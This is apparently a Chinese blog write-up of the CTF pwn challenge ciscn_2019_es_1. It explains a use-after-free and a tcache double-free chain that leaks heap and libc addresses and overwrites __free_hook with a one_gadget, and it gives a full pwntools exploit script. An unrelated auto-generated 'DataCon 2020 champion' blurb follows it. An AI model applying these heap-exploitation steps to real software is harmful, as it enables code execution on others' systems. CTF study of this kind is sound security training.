ciscn_2019_es_1 writeup

基本情况

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

简单堆管理程序,有增删查功能。chunk 上限为 12 个,有 0x18 的结构体,又通过链表管理结构体。结构体如下:

struct
{
	void **chunk_ptr;//8bit
    size_t size;//4bit
    int number;//(12-1)bit
}

漏洞

在 free 中,只是单单释放 data chunk ,结构体 chunk 以及对应链表都完整保留,释放 data chunk 时,没有将结构体中对应位置置零,造成 UAF 。

unsigned __int64 call()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Please input the index:");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 && v1 > 12 )
    exit(0);
  if ( heap_addr[v1] )
    free(*heap_addr[v1]);                       // UAF
  puts("You try it!");
  puts("Done");
  return __readfsqword(0x28u) ^ v2;
}

思路

  1. double free 泄露堆地址,劫持 tcache struct ,控制链头分配到 chunk0 size
  2. free chunk0 到 unsorted bin 泄露 libc 地址
  3. 劫持 free_hook 为 onegadget

tcache 常规的 double free 泄露地址:

add(0x60,'a'*8,'b'*0xc)#0
free(0)
free(0)
show(0)

p.recvuntil("name:\n")
chunk_addr = u64(p.recv(6).ljust(8,'\x00'))

修改 tcache bin 中的数量以及链头地址:

add(0x60,p64(tcache_addr),'f'*8)#1
add(0x60,p64(tcache_addr),'e'*8)#2
add(0x60,('\x00'+'a'*5+'\x00').ljust(0x40,'a')+p64(tcache_addr)*3+p64(tcache_addr-0x10),'c'*0x4+p64(chunk_addr+0x70))#3
  • tcahce_addr 方便再次申请 chunk0
  • tcache_addr - 0x10 用来修改 chunk0 的 size
  • 劫持数量标志位保留一个,后面用来 double free

释放 chunk0 获取 libc 地址:

free(3)
show(3)

p.recvuntil("name:\n")
main_area = u64(p.recv(6).ljust(8,'\x00'))

再次 double free tcache 将 chunk 分配到 free_hook 上:

add(0x48,'\x00'*0x48,'b')
free(0)
free(0)
add(0x60,p64(free_hook),'b'*8)#1
add(0x60,p64(free_hook),'b'*8)#2
add(0x60,p64(onegadget),'b'*8)

EXP

from pwn import *
context(log_level='info',os='linux',arch='amd64',
	terminal=['tmux','sp','-h'])

# p = process("./ciscn_2019_es_1")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./ciscn_2019_es_1")
p = remote("node3.buuoj.cn",27240)
libc = ELF("./libc-2.27.so")

def add(size,name,number):
	p.recvuntil(":")
	p.sendline('1')
	p.recvuntil("name\n")
	p.sendline(str(size))
	p.recvuntil(":\n")
	p.send(name)
	p.recvuntil("call:\n")
	p.send(number)
def show(id):
	p.recvuntil(":")
	p.sendline('2')
	p.recvuntil("index:\n")
	p.sendline(str(id))
def free(id):
	p.recvuntil(":")
	p.sendline('3')
	p.recvuntil("index:\n")
	p.sendline(str(id))

add(0x60,'a'*8,'b'*0xc)#0
free(0)
free(0)
show(0)

p.recvuntil("name:\n")
chunk_addr = u64(p.recv(6).ljust(8,'\x00'))
tcache_addr = chunk_addr - 0x270
log.info("tcache_addr:"+hex(tcache_addr))

add(0x60,p64(tcache_addr),'f'*8)#1
add(0x60,p64(tcache_addr),'e'*8)#2
add(0x60,('\x00'+'a'*5+'\x00').ljust(0x40,'a')+p64(tcache_addr)*3+p64(tcache_addr-0x10),'c'*0x4+p64(chunk_addr+0x70))#3
# add(0x80,'a','b')
free(3)
show(3)

p.recvuntil("name:\n")
main_area = u64(p.recv(6).ljust(8,'\x00'))
libc_base = main_area - 0x3ebca0
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
log.info("free_hook:"+hex(free_hook))
log.info("malloc_hook:"+hex(malloc_hook))

one = [0x4f365,0x4f3c2,0x10a45c]
onegadget = libc_base + 0x4f322#one[1]
log.info("onegadget:"+hex(onegadget))

add(0x48,'\x00'*0x48,'b')
free(0)
free(0)
add(0x60,p64(free_hook),'b'*8)#1
add(0x60,p64(free_hook),'b'*8)#2
add(0x60,p64(onegadget),'b'*8)
# gdb.attach(p)

free(0)

p.interactive()
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
恭喜您获得域名_DataCon 2020 DNS恶意域名分析方向冠军!以下是您的writeup: 赛题概述: 本次比赛的任务是对一组恶意域名进行分析。每个参赛者需要对提供的数据集进行分析,从中筛选出恶意域名,并对这些域名进行分类、分析和解释。数据集包括了近期出现的一些恶意域名,其中一部分已被官方确认。 分析流程: 1. 数据集的基本情况分析 首先,对数据集进行一些基本的统计分析,比如恶意域名的数量、出现频率、域名长度、TLD分布等等。这些分析可以帮助我们初步了解数据集的特点,为后续的分析提供一些指导。 2. 特征提取 在数据集分析的基础上,我们需要对每个域名进行特征提取。常用的特征包括域名长度、字符集分布、TLD类型、子域名数量、字母频率等等。提取出来的特征可以作为后续模型训练的输入。 3. 恶意域名分类 接下来,我们需要对每个域名进行分类。分类的目的是将恶意域名和正常域名分离开来,为后续的分析提供基础。常用的分类方法包括传统的机器学习分类算法(如决策树、SVM等)和深度学习分类算法(如CNN、LSTM等)。 4. 恶意域名分析 分类完成后,我们需要对恶意域名进行进一步的分析。具体来说,我们需要分析每个恶意域名的类型、攻击方式、受害者等等。这些分析可以帮助我们更好地了解恶意域名的本质和特点,为后续的防御工作提供指导。 5. 结果展示 最后,我们需要将分析结果进行展示。可以采用报告、PPT、图表等多种形式来呈现分析结果。同时,也可以将分析结果与其他团队进行交流,分享经验、互相学习。 总结: 通过对数据集的分析和特征提取,我们可以将恶意域名和正常域名分离开来,并进行进一步的分类和分析。这些工作可以帮助我们更好地了解恶意域名的本质和特点,为后续的防御工作提供指导。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值